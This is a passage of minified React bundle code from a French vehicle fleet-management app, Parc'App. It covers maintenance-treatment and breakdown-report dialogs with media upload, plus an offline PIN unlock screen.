km&quot;]})]}),Ft.dateEffectuee&amp;&amp;a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;span&quot;,{className:&quot;text-muted-foreground text-xs&quot;,children:&quot;Date effectuée: &quot;}),a.jsx(&quot;span&quot;,{className:&quot;font-medium&quot;,children:Wr(new Date(Ft.dateEffectuee),&quot;dd/MM/yyyy&quot;,{locale:Hr})})]}),Ft.kilometrageEffectue&amp;&amp;a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;span&quot;,{className:&quot;text-muted-foreground text-xs&quot;,children:&quot;Km effectué: &quot;}),a.jsxs(&quot;span&quot;,{className:&quot;font-medium&quot;,children:[Ft.kilometrageEffectue.toLocaleString(),&quot; km&quot;]})]})]}),(Ft.cout||Ft.totalCost)&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;pt-2 border-t&quot;,children:[a.jsx(&quot;span&quot;,{className:&quot;text-muted-foreground text-xs&quot;,children:&quot;Coût: &quot;}),a.jsxs(&quot;span&quot;,{className:&quot;font-semibold text-base&quot;,children:[(Ft.totalCost||Ft.cout||0).toLocaleString(),&quot; FCFA&quot;]})]}),Ft.notes&amp;&amp;a.jsx(&quot;div&quot;,{className:&quot;pt-2 border-t&quot;,children:a.jsx(&quot;p&quot;,{className:&quot;text-muted-foreground text-xs md:text-sm&quot;,children:Ft.notes})})]})]},Ft.id)})})})]},qr?`vehicle-${Te.vehicle.id}`:`trailer-${Te.trailer.id}`)}),ce.length===0&amp;&amp;a.jsx(&quot;div&quot;,{className:&quot;text-center py-12&quot;,children:a.jsx(&quot;p&quot;,{className:&quot;text-muted-foreground&quot;,children:&quot;Aucun entretien trouvé&quot;})})]})})]})}),a.jsx(du,{open:o!==null,onOpenChange:()=&gt;l(null),children:a.jsxs(yc,{children:[a.jsxs(bc,{children:[a.jsx(Ec,{children:&quot;Confirmer la suppression&quot;}),a.jsx(Cc,{children:&quot;Êtes-vous sûr de vouloir supprimer cette maintenance ? Cette action est irréversible.&quot;})]}),a.jsxs(wc,{children:[a.jsx(jc,{children:&quot;Annuler&quot;}),a.jsx(Ic,{onClick:re,children:&quot;Supprimer&quot;})]})]})}),a.jsx(En,{open:y!==null,onOpenChange:Te=&gt;!Te&amp;&amp;Tt(),children:a.jsxs(yn,{className:&quot;sm:max-w-[600px] max-h-[90vh] overflow-y-auto&quot;,children:[a.jsxs(Cn,{children:[a.jsx(In,{children:&quot;Traiter l&#039;entretien&quot;}),a.jsx(Mn,{children:y&amp;&amp;`${qe[y.type]||y.type} - ${Kt.find(Te=&gt;Te.id===y.vehicleId)?.immatriculation}`})]}),y&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;space-y-4 py-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;treatment-status&quot;,children:&quot;Statut&quot;}),a.jsxs(rn,{value:E,onValueChange:Te=&gt;S(Te),children:[a.jsx(Xr,{id:&quot;treatment-status&quot;,children:a.jsx(nn,{})}),a.jsxs(en,{children:[a.jsx(Qt,{value:&quot;planned&quot;,children:&quot;Planifié&quot;}),a.jsx(Qt,{value:&quot;in_progress&quot;,children:&quot;En cours&quot;}),a.jsx(Qt,{value:&quot;completed&quot;,children:&quot;Terminé&quot;}),a.jsx(Qt,{value:&quot;overdue&quot;,children:&quot;En retard&quot;})]})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-2 gap-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;treatment-date-effectuee&quot;,children:&quot;Date effectuée&quot;}),a.jsx(Xe,{id:&quot;treatment-date-effectuee&quot;,type:&quot;date&quot;,value:Ke,onChange:Te=&gt;tt(Te.target.value),className:&quot;h-12&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;treatment-km-effectue&quot;,children:&quot;Kilométrage effectué&quot;}),a.jsx(Xe,{id:&quot;treatment-km-effectue&quot;,type:&quot;number&quot;,placeholder:&quot;125000&quot;,value:pt,onChange:Te=&gt;dt(Te.target.value),className:&quot;h-12&quot;})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{children:&quot;Pièces remplacées&quot;}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[xe.map((Te,zt)=&gt;a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2 p-2 border rounded&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex-1 text-sm&quot;,children:[a.jsx(&quot;span&quot;,{className:&quot;font-medium&quot;,children:Te.name}),&quot; × &quot;,Te.quantity,&quot; = &quot;,(Te.quantity*Te.unitCost).toLocaleString(),&quot; FCFA&quot;]}),a.jsx(ge,{size:&quot;icon&quot;,variant:&quot;ghost&quot;,onClick:()=&gt;ze(zt),className:&quot;h-8 w-8&quot;,children:a.jsx(U1,{className:&quot;h-4 w-4&quot;})})]},zt)),a.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-4 gap-2&quot;,children:[a.jsx(Xe,{placeholder:&quot;Nom&quot;,value:ve,onChange:Te=&gt;Ne(Te.target.value),className:&quot;h-10&quot;}),a.jsx(Xe,{placeholder:&quot;Qté&quot;,type:&quot;number&quot;,value:Ie,onChange:Te=&gt;be(Te.target.value),className:&quot;h-10&quot;}),a.jsx(Xe,{placeholder:&quot;Prix unit.&quot;,type:&quot;number&quot;,value:Re,onChange:Te=&gt;Pe(Te.target.value),className:&quot;h-10&quot;}),a.jsx(ge,{onClick:H,className:&quot;h-10&quot;,children:a.jsx(Ti,{className:&quot;h-4 w-4&quot;})})]})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;labor-cost&quot;,children:&quot;Main d&#039;œuvre (FCFA)&quot;}),a.jsx(Xe,{id:&quot;labor-cost&quot;,type:&quot;number&quot;,placeholder:&quot;0&quot;,value:Ce,onChange:Te=&gt;we(Te.target.value),className:&quot;h-12&quot;})]}),a.jsx(&quot;div&quot;,{className:&quot;p-3 bg-muted rounded-lg&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;flex justify-between text-sm&quot;,children:[a.jsx(&quot;span&quot;,{className:&quot;text-muted-foreground&quot;,children:&quot;Coût total:&quot;}),a.jsxs(&quot;span&quot;,{className:&quot;font-semibold text-base&quot;,children:[he.toLocaleString(),&quot; FCFA&quot;]})]})}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{children:&quot;Photo&quot;}),Q&amp;&amp;a.jsx(&quot;div&quot;,{className:&quot;relative w-full aspect-video mb-2&quot;,children:a.jsx(&quot;img&quot;,{src:Q,alt:&quot;Photo entretien&quot;,className:&quot;w-full h-full object-cover rounded-lg border&quot;})}),a.jsx(Xe,{type:&quot;file&quot;,accept:&quot;image/*&quot;,onChange:Te=&gt;{const zt=Te.target.files?.[0];zt&amp;&amp;(C(zt),R(URL.createObjectURL(zt)))},className:&quot;h-12&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{children:&quot;Justificatif (facture/reçu)&quot;}),X&amp;&amp;a.jsx(&quot;div&quot;,{className:&quot;mb-2&quot;,children:a.jsx(&quot;a&quot;,{href:X,target:&quot;_blank&quot;,rel:&quot;noopener noreferrer&quot;,className:&quot;text-sm text-primary hover:underline&quot;,children:&quot;Voir le justificatif&quot;})}),a.jsx(Xe,{type:&quot;file&quot;,accept:&quot;image/*,.pdf&quot;,onChange:Te=&gt;{const zt=Te.target.files?.[0];zt&amp;&amp;L(zt)},className:&quot;h-12&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;treatment-notes&quot;,children:&quot;Notes&quot;}),a.jsx(K0,{id:&quot;treatment-notes&quot;,placeholder:&quot;Notes sur l&#039;entretien...&quot;,value:Oe,onChange:Te=&gt;Pt(Te.target.value),rows:3})]})]}),a.jsxs(Na,{className:&quot;gap-2 flex-col sm:flex-row&quot;,children:[a.jsx(ge,{type:&quot;button&quot;,variant:&quot;outline&quot;,onClick:Tt,className:&quot;w-full sm:w-auto h-12&quot;,children:&quot;Annuler&quot;}),a.jsx(ge,{type:&quot;button&quot;,onClick:De,disabled:j.isTreating,className:&quot;w-full sm:w-auto h-12&quot;,children:j.isTreating?a.jsxs(a.Fragment,{children:[a.jsx(Nt,{className:&quot;h-4 w-4 mr-2 animate-spin&quot;}),&quot;Enregistrement...&quot;]}):&quot;Enregistrer&quot;})]})]})}),a.jsx(np,{onClick:()=&gt;d(!0),label:&quot;Ajouter un entretien&quot;}),u&amp;&amp;a.jsx(N$e,{maintenance:u,onUpdate:rt,open:p,onOpenChange:A})]})}function B$e(){const{cachedOfflineProfile:e,unlockOffline:t,resetOfflineProfile:r,authMode:n,offlineUnlocked:i}=dy(),[s,o]=I.useState(&quot;&quot;),[l,c]=I.useState(null),[d,u]=I.useState(!1),[h,p]=I.useState(null),[A,y]=I.useState(null);I.useEffect(()=&gt;{if(!h){y(null);return}const _=()=&gt;{const Q=Date.now(),R=Math.max(0,Math.ceil((h-Q)/1e3));y(R&gt;0?R:null),R&lt;=0&amp;&amp;p(null)};_();const C=setInterval(_,1e3);return()=&gt;clearInterval(C)},[h]);const v=async _=&gt;{_.preventDefault(),c(null),u(!0);try{const C=await nz(s);if(C.success)console.log(&quot;[OfflineUnlockScreen] PIN correct, appel unlockOffline()&quot;),t(),o(&quot;&quot;),await new Promise(Q=&gt;setTimeout(Q,50)),console.log(&quot;[OfflineUnlockScreen] Après unlockOffline(), authMode devrait être offline-unlocked&quot;);else{if(C.lockedUntil)p(C.lockedUntil),c(`Trop de tentatives échouées. Verrouillé jusqu&#039;à ${Wr(new Date(C.lockedUntil),&quot;HH:mm:ss&quot;,{locale:Hr})}`);else if(C.profile){const Q=C.profile.failedAttempts,R=An.MAX_ATTEMPTS-Q;c(`PIN incorrect. ${R&gt;0?`${R} tentative${R&gt;1?&quot;s&quot;:&quot;&quot;} restante${R&gt;1?&quot;s&quot;:&quot;&quot;}.`:&quot;Compte verrouillé.&quot;}`)}else c(&quot;PIN incorrect ou profil expiré.&quot;);o(&quot;&quot;)}}catch{c(&quot;Erreur lors de la vérification du PIN.&quot;),o(&quot;&quot;)}finally{u(!1)}},w=async()=&gt;{if(confirm(&quot;Êtes-vous sûr de vouloir réinitialiser le profil offline ? Vous devrez vous reconnecter en ligne.&quot;))try{await r()}catch{c(&quot;Erreur lors de la réinitialisation.&quot;)}},j=e?.displayName||&quot;Utilisateur&quot;,E=e?.lastOnlineAt?Wr(new Date(e.lastOnlineAt),&quot;dd/MM/yyyy à HH:mm&quot;,{locale:Hr}):&quot;Jamais&quot;,S=h!==null&amp;&amp;A!==null&amp;&amp;A&gt;0;return I.useEffect(()=&gt;{i&amp;&amp;n===&quot;offline-unlocked&quot;&amp;&amp;(console.log(&quot;[OfflineUnlockScreen] ===== DÉVERROUILLÉ, ÉMISSION ÉVÉNEMENT =====&quot;),console.log(&quot;[OfflineUnlockScreen] État:&quot;,{offlineUnlocked:i,authMode:n}),window.dispatchEvent(new CustomEvent(&quot;offline-unlock&quot;)),console.log(&quot;[OfflineUnlockScreen] Événement &#039;offline-unlock&#039; émis, RouteGuard devrait se re-rendre&quot;))},[i,n]),i&amp;&amp;n===&quot;offline-unlocked&quot;?(console.log(&quot;[OfflineUnlockScreen] ===== DÉVERROUILLÉ, RETOUR FRAGMENT VIDE =====&quot;),console.log(&quot;[OfflineUnlockScreen] État:&quot;,{offlineUnlocked:i,authMode:n}),console.log(&quot;[OfflineUnlockScreen] Retour fragment vide - RouteGuard devrait se re-rendre et détecter offline-unlocked&quot;),a.jsx(a.Fragment,{})):a.jsxs(&quot;div&quot;,{className:&quot;min-h-screen flex flex-col items-center justify-center bg-gradient-to-br from-background to-muted p-4&quot;,children:[a.jsx(&quot;div&quot;,{className:&quot;mb-4 w-full max-w-md&quot;,children:a.jsxs(lu,{className:&quot;bg-yellow-50 dark:bg-yellow-900/20 border-yellow-200 dark:border-yellow-800&quot;,children:[a.jsx(qd,{className:&quot;h-4 w-4 text-yellow-600 dark:text-yellow-400&quot;}),a.jsx(cu,{className:&quot;text-yellow-800 dark:text-yellow-200&quot;,children:&quot;Mode hors ligne activé&quot;})]})}),a.jsxs(&quot;div&quot;,{className:&quot;mb-2 text-xs text-muted-foreground bg-muted p-2 rounded&quot;,children:[&quot;Debug: authMode=&quot;,n,&quot;, unlocked=&quot;,i?&quot;true&quot;:&quot;false&quot;]}),a.jsxs(&quot;div&quot;,{className:&quot;flex flex-col items-center mb-8&quot;,children:[a.jsx(&quot;img&quot;,{src:&quot;/logo-parc-app.png&quot;,alt:&quot;Parc&#039;App Logo&quot;,className:&quot;h-16 md:h-20 w-auto mb-4&quot;}),a.jsx(&quot;h1&quot;,{className:&quot;text-2xl md:text-3xl font-bold&quot;,children:&quot;Parc&#039;App&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-sm md:text-base text-muted-foreground mt-1&quot;,children:&quot;Déverrouillage hors ligne&quot;})]}),a.jsxs(it,{className:&quot;w-full max-w-md&quot;,children:[a.jsxs(br,{className:&quot;space-y-1&quot;,children:[a.jsxs(jr,{className:&quot;text-2xl font-bold text-center flex items-center justify-center gap-2&quot;,children:[a.jsx(Hd,{className:&quot;h-5 w-5&quot;}),&quot;Déverrouiller&quot;]}),a.jsx(wn,{className:&quot;text-center&quot;,children:&quot;Entrez votre PIN pour accéder à l&#039;application&quot;})]}),a.jsxs(Et,{children:[a.jsxs(&quot;div&quot;,{className:&quot;mb-6 p-4 bg-muted rounded-lg&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;text-sm font-medium mb-1&quot;,children:j}),a.jsxs(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:[&quot;Dernière connexion: &quot;,E]})]}),a.jsxs(&quot;form&quot;,{onSubmit:v,className:&quot;space-y-4&quot;,children:[l&amp;&amp;a.jsxs(lu,{variant:&quot;destructive&quot;,children:[a.jsx(Kn,{className:&quot;h-4 w-4&quot;}),a.jsx(cu,{children:l})]}),S&amp;&amp;A!==null&amp;&amp;a.jsxs(lu,{variant:&quot;destructive&quot;,children:[a.jsx(Kn,{className:&quot;h-4 w-4&quot;}),a.jsxs(cu,{children:[&quot;Compte verrouillé. Réessayez dans &quot;,Math.floor(A/60),&quot;:&quot;,(A%60).toString().padStart(2,&quot;0&quot;)]})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;pin&quot;,children:&quot;Code PIN&quot;}),a.jsx(Xe,{id:&quot;pin&quot;,type:&quot;password&quot;,inputMode:&quot;numeric&quot;,pattern:&quot;[0-9]*&quot;,placeholder:`${An.PIN_LENGTH_MIN}-${An.PIN_LENGTH_MAX} chiffres`,value:s,onChange:_=&gt;{const C=_.target.value.replace(/\D/g,&quot;&quot;);C.length&lt;=An.PIN_LENGTH_MAX&amp;&amp;(o(C),c(null))},required:!0,disabled:d||S,autoComplete:&quot;off&quot;,autoFocus:!0,className:&quot;text-center text-2xl tracking-widest&quot;})]}),a.jsx(ge,{type:&quot;submit&quot;,className:&quot;w-full&quot;,disabled:d||S||s.length&lt;An.PIN_LENGTH_MIN,children:d?a.jsxs(a.Fragment,{children:[a.jsx(Nt,{className:&quot;mr-2 h-4 w-4 animate-spin&quot;}),&quot;Vérification...&quot;]}):a.jsxs(a.Fragment,{children:[a.jsx(Hd,{className:&quot;mr-2 h-4 w-4&quot;}),&quot;Déverrouiller&quot;]})})]}),a.jsxs(&quot;div&quot;,{className:&quot;mt-6 pt-6 border-t space-y-2&quot;,children:[a.jsxs(ge,{type:&quot;button&quot;,variant:&quot;outline&quot;,className:&quot;w-full&quot;,onClick:w,disabled:d,children:[a.jsx(gL,{className:&quot;mr-2 h-4 w-4&quot;}),&quot;Réinitialiser / Changer utilisateur&quot;]}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-center text-muted-foreground&quot;,children:&quot;Une connexion en ligne sera requise après réinitialisation&quot;})]})]})]})]})}function k$e(){return a.jsxs(&quot;div&quot;,{className:&quot;min-h-screen flex flex-col items-center justify-center bg-gradient-to-br from-background to-muted p-4&quot;,children:[a.jsx(&quot;div&quot;,{className:&quot;mb-4 w-full max-w-md&quot;,children:a.jsxs(lu,{className:&quot;bg-yellow-50 dark:bg-yellow-900/20 border-yellow-200 dark:border-yellow-800&quot;,children:[a.jsx(qd,{className:&quot;h-4 w-4 text-yellow-600 dark:text-yellow-400&quot;}),a.jsx(cu,{className:&quot;text-yellow-800 dark:text-yellow-200&quot;,children:&quot;Mode hors ligne - Connexion initiale requise&quot;})]})}),a.jsxs(&quot;div&quot;,{className:&quot;flex flex-col items-center mb-8&quot;,children:[a.jsx(&quot;img&quot;,{src:&quot;/logo-parc-app.png&quot;,alt:&quot;Parc&#039;App Logo&quot;,className:&quot;h-16 md:h-20 w-auto mb-4&quot;}),a.jsx(&quot;h1&quot;,{className:&quot;text-2xl md:text-3xl font-bold&quot;,children:&quot;Parc&#039;App&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-sm md:text-base text-muted-foreground mt-1&quot;,children:&quot;Application de gestion du transport&quot;})]}),a.jsxs(it,{className:&quot;w-full max-w-md&quot;,children:[a.jsxs(br,{className:&quot;space-y-1&quot;,children:[a.jsxs(jr,{className:&quot;text-2xl font-bold text-center flex items-center justify-center gap-2&quot;,children:[a.jsx(Kn,{className:&quot;h-5 w-5&quot;}),&quot;Connexion requise&quot;]}),a.jsx(wn,{className:&quot;text-center&quot;,children:&quot;Une première connexion en ligne est nécessaire&quot;})]}),a.jsxs(Et,{className:&quot;space-y-4&quot;,children:[a.jsxs(lu,{children:[a.jsx(Kn,{className:&quot;h-4 w-4&quot;}),a.jsx(cu,{children:&quot;Pour utiliser l&#039;application en mode hors ligne, vous devez d&#039;abord vous connecter en ligne au moins une fois.&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2 text-sm text-muted-foreground&quot;,children:[a.jsx(&quot;p&quot;,{children:&quot;Pour activer l&#039;accès hors ligne :&quot;}),a.jsxs(&quot;ol&quot;,{className:&quot;list-decimal list-inside space-y-1 ml-2&quot;,children:[a.jsx(&quot;li&quot;,{children:&quot;Connectez-vous à Internet&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Connectez-vous à votre compte&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Activez l&#039;accès hors ligne avec un code PIN&quot;})]})]}),a.jsx(&quot;div&quot;,{className:&quot;pt-4 border-t&quot;,children:a.jsx(&quot;p&quot;,{className:&quot;text-xs text-center text-muted-foreground&quot;,children:&quot;L&#039;application fonctionnera en mode hors ligne une fois le PIN configuré&quot;})})]})]})]})}function XF({type:e,variant:t=&quot;maintenance&quot;,size:r=&quot;md&quot;,showLabel:n=!1,className:i=&quot;&quot;}){const s=t===&quot;maintenance&quot;?zA:$A,o=s[e]||s.autre||&quot;⚙️&quot;,l={sm:&quot;text-lg&quot;,md:&quot;text-2xl&quot;,lg:&quot;text-3xl&quot;},c={sm:&quot;h-8 w-8 p-1.5&quot;,md:&quot;h-12 w-12 p-2&quot;,lg:&quot;h-16 w-16 p-3&quot;};return a.jsxs(&quot;div&quot;,{className:`flex items-center gap-2 ${i}`,children:[a.jsx(yt,{variant:&quot;secondary&quot;,className:`${c[r]} rounded-full flex items-center justify-center bg-background/90 backdrop-blur-sm border shadow-sm ${t===&quot;breakdown&quot;?&quot;border-red-300 bg-red-50/90&quot;:&quot;&quot;}`,children:a.jsx(&quot;span&quot;,{className:l[r],children:o})}),n&amp;&amp;a.jsx(&quot;span&quot;,{className:&quot;text-sm font-medium&quot;,children:e})]})}const _$e=[{value:&quot;moteur&quot;,label:&quot;Moteur&quot;,icon:zm},{value:&quot;frein&quot;,label:&quot;Frein&quot;,icon:f4},{value:&quot;pneu&quot;,label:&quot;Pneu&quot;,icon:Tg},{value:&quot;electrique&quot;,label:&quot;Électrique&quot;,icon:ry},{value:&quot;autre&quot;,label:&quot;Autre incident&quot;,icon:Gl}];function D$e({vehicleId:e,onAdd:t,trigger:r,open:n,onOpenChange:i}){const{toast:s}=Er(),[o,l]=I.useState(!1),c=n!==void 0?n:o,d=i||l,[u,h]=I.useState(&quot;&quot;),[p,A]=I.useState(null),[y,v]=I.useState(null),[w,j]=I.useState(null),[E,S]=I.useState(null),[_,C]=I.useState(!1),[Q,R]=I.useState(null),[T,M]=I.useState(null),[O,$]=I.useState(0),[P,L]=I.useState(null),[X,W]=I.useState(!1),G=()=&gt;navigator.mediaDevices&amp;&amp;navigator.mediaDevices.getUserMedia&amp;&amp;window.MediaRecorder&amp;&amp;(window.location.protocol===&quot;https:&quot;||window.location.hostname===&quot;localhost&quot;||window.location.hostname===&quot;127.0.0.1&quot;),J=_e=&gt;{const Ce=Math.floor(_e/60),we=_e%60;return`${Ce.toString().padStart(2,&quot;0&quot;)}:${we.toString().padStart(2,&quot;0&quot;)}`},q=async()=&gt;{try{if(!navigator.mediaDevices||!navigator.mediaDevices.getUserMedia){s({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Votre navigateur ne supporte pas l&#039;enregistrement audio.&quot;});return}if(!window.MediaRecorder){s({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Votre navigateur ne supporte pas l&#039;enregistrement audio.&quot;});return}const _e=await navigator.mediaDevices.getUserMedia({audio:{echoCancellation:!0,noiseSuppression:!0,autoGainControl:!0}}),Ce=[&quot;audio/webm&quot;,&quot;audio/webm;codecs=opus&quot;,&quot;audio/ogg;codecs=opus&quot;,&quot;audio/mp4&quot;,&quot;audio/mpeg&quot;];let we=&quot;&quot;;for(const Re of Ce)if(MediaRecorder.isTypeSupported(Re)){we=Re;break}const ve=we?{mimeType:we}:{},Ne=new MediaRecorder(_e,ve),Ie=[];Ne.ondataavailable=Re=&gt;{Re.data.size&gt;0&amp;&amp;Ie.push(Re.data)},Ne.onstop=()=&gt;{const Re=new Blob(Ie,{type:Ne.mimeType||&quot;audio/webm&quot;});v(Re);const Pe=URL.createObjectURL(Re);M(Pe),_e.getTracks().forEach(Ke=&gt;Ke.stop()),P&amp;&amp;(clearInterval(P),L(null)),$(0)},Ne.onerror=Re=&gt;{console.error(&quot;MediaRecorder error:&quot;,Re),s({variant:&quot;destructive&quot;,title:&quot;Erreur d&#039;enregistrement&quot;,description:&quot;Une erreur s&#039;est produite pendant l&#039;enregistrement.&quot;}),_e.getTracks().forEach(Pe=&gt;Pe.stop()),C(!1),R(null)},Ne.start(),R(Ne),C(!0),$(0);const be=setInterval(()=&gt;{$(Re=&gt;Re+1)},1e3);L(be)}catch(_e){console.error(&quot;Error starting recording:&quot;,_e);let Ce=&quot;Impossible d&#039;accéder au microphone&quot;;_e.name===&quot;NotAllowedError&quot;||_e.name===&quot;PermissionDeniedError&quot;?Ce=&quot;Permission refusée. Veuillez autoriser l&#039;accès au microphone.&quot;:_e.name===&quot;NotFoundError&quot;||_e.name===&quot;DevicesNotFoundError&quot;?Ce=&quot;Aucun microphone trouvé.&quot;:(_e.name===&quot;NotReadableError&quot;||_e.name===&quot;TrackStartError&quot;)&amp;&amp;(Ce=&quot;Le microphone est déjà utilisé par une autre application.&quot;),s({variant:&quot;destructive&quot;,title:&quot;Erreur d&#039;accès au microphone&quot;,description:Ce})}},ee=()=&gt;{Q&amp;&amp;_&amp;&amp;(Q.stop(),C(!1),R(null),P&amp;&amp;(clearInterval(P),L(null)))},ne=()=&gt;{T&amp;&amp;(URL.revokeObjectURL(T),M(null)),v(null)},V=async _e=&gt;{const Ce=_e.target.files?.[0];if(Ce){if(!Ce.type.startsWith(&quot;video/&quot;)){s({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Veuillez sélectionner un fichier vidéo&quot;});return}if(Ce.size&gt;20*1024*1024){s({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;La vidéo est trop volumineuse (max 20MB)&quot;});return}try{const we=document.createElement(&quot;video&quot;);we.preload=&quot;metadata&quot;,we.src=URL.createObjectURL(Ce),we.onloadedmetadata=()=&gt;{window.URL.revokeObjectURL(we.src);const ve=we.duration;if(ve&gt;15){s({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:`La vidéo est trop longue (${Math.ceil(ve)}s). Durée maximum : 15 secondes`});return}if(we.videoWidth&gt;1280||we.videoHeight&gt;720){s({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:`La résolution est trop élevée (${we.videoWidth}x${we.videoHeight}). Maximum : 1280x720 (720p)`});return}j(Ce),S(URL.createObjectURL(Ce))},we.onerror=()=&gt;{window.URL.revokeObjectURL(we.src),s({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Impossible de lire le fichier vidéo&quot;})}}catch{s({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Erreur lors de la validation de la vidéo&quot;})}}},ue=()=&gt;{j(null),E&amp;&amp;(URL.revokeObjectURL(E),S(null))},de=_e=&gt;{d(_e),_e||(h(&quot;&quot;),A(null),v(null),j(null),$(0),T&amp;&amp;(URL.revokeObjectURL(T),M(null)),E&amp;&amp;(URL.revokeObjectURL(E),S(null)),_&amp;&amp;Q&amp;&amp;(Q.stop(),C(!1),R(null)),P&amp;&amp;(clearInterval(P),L(null)))},xe=async _e=&gt;{if(_e.preventDefault(),!u){s({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Veuillez sélectionner un type de problème&quot;});return}W(!0);try{let Ce,we,ve,Ne,Ie,be;if(p){const Pe=await A$e(p);Ce=Pe.url,Ne=Pe.publicId}if(y){const Pe=new File([y],&quot;recording.webm&quot;,{type:&quot;audio/webm&quot;}),Ke=await Ane(Pe);we=Ke.url,Ie=Ke.publicId}if(w){const Pe=await x$e(w);ve=Pe.url,be=Pe.publicId}const Re={vehicleId:e,type:u,date:new Date().toISOString().split(&quot;T&quot;)[0],description:void 0,photoUrl:Ce,audioUrl:we,videoUrl:ve,photoCloudinaryPublicId:Ne,audioCloudinaryPublicId:Ie,videoCloudinaryPublicId:be,lieu:void 0};t?.(Re),de(!1)}catch(Ce){console.error(&quot;Error uploading files:&quot;,Ce),s({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Erreur lors de l&#039;upload des fichiers&quot;})}finally{W(!1)}};return a.jsxs(En,{open:c,onOpenChange:de,children:[a.jsx(ah,{asChild:!0,children:r||a.jsxs(ge,{&quot;data-testid&quot;:&quot;button-add-breakdown&quot;,className:&quot;w-full md:w-auto&quot;,size:&quot;sm&quot;,children:[a.jsx(Ti,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Enregistrer une panne&quot;]})}),a.jsxs(yn,{className:&quot;sm:max-w-[500px] mx-4 max-h-[90vh] overflow-y-auto&quot;,children:[a.jsx(Cn,{children:a.jsx(In,{className:&quot;text-xl md:text-2xl text-center&quot;,children:&quot;Signaler un problème&quot;})}),a.jsxs(&quot;form&quot;,{onSubmit:xe,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-6 py-4&quot;,children:[a.jsx(&quot;div&quot;,{children:a.jsx(&quot;div&quot;,{className:&quot;grid grid-cols-2 gap-3 md:gap-4&quot;,children:_$e.map(_e=&gt;{const Ce=_e.icon,we=u===_e.value;return a.jsxs(ge,{type:&quot;button&quot;,variant:we?&quot;default&quot;:&quot;outline&quot;,className:`h-24 md:h-28 flex-col gap-2 rounded-xl transition-all ${we?&quot;ring-4 ring-primary/30 shadow-lg scale-105&quot;:&quot;hover:scale-105&quot;}`,onClick:()=&gt;h(_e.value),children:[a.jsx(Ce,{className:`h-8 w-8 md:h-10 md:w-10 ${we?&quot;text-primary-foreground&quot;:&quot;text-primary&quot;}`}),a.jsx(&quot;span&quot;,{className:`text-xs md:text-sm font-semibold ${we?&quot;text-primary-foreground&quot;:&quot;&quot;}`,children:_e.label})]},_e.value)})})}),a.jsx(&quot;div&quot;,{children:p?a.jsxs(&quot;div&quot;,{className:&quot;space-y-3&quot;,children:[a.jsx(&quot;img&quot;,{src:URL.createObjectURL(p),alt:&quot;Aperçu&quot;,className:&quot;w-full h-48 md:h-64 object-cover rounded-xl border-2&quot;}),a.jsxs(ge,{type:&quot;button&quot;,variant:&quot;outline&quot;,size:&quot;lg&quot;,onClick:()=&gt;A(null),className:&quot;w-full&quot;,children:[a.jsx(Ns,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Supprimer la photo&quot;]})]}):a.jsxs(&quot;label&quot;,{htmlFor:&quot;breakdown-photo&quot;,className:&quot;block w-full border-2 border-dashed border-muted-foreground/30 rounded-xl p-8 md:p-12 text-center cursor-pointer hover:border-primary/50 transition-colors&quot;,children:[a.jsx(mo,{className:&quot;h-12 w-12 md:h-16 md:w-16 text-muted-foreground mx-auto mb-3&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-sm md:text-base font-medium&quot;,children:&quot;Prendre une photo&quot;}),a.jsx(Xe,{id:&quot;breakdown-photo&quot;,type:&quot;file&quot;,accept:&quot;image/*&quot;,capture:&quot;environment&quot;,onChange:_e=&gt;{const Ce=_e.target.files?.[0];Ce&amp;&amp;A(Ce)},className:&quot;hidden&quot;})]})}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-4&quot;,children:[!T&amp;&amp;!_&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;flex flex-col items-center 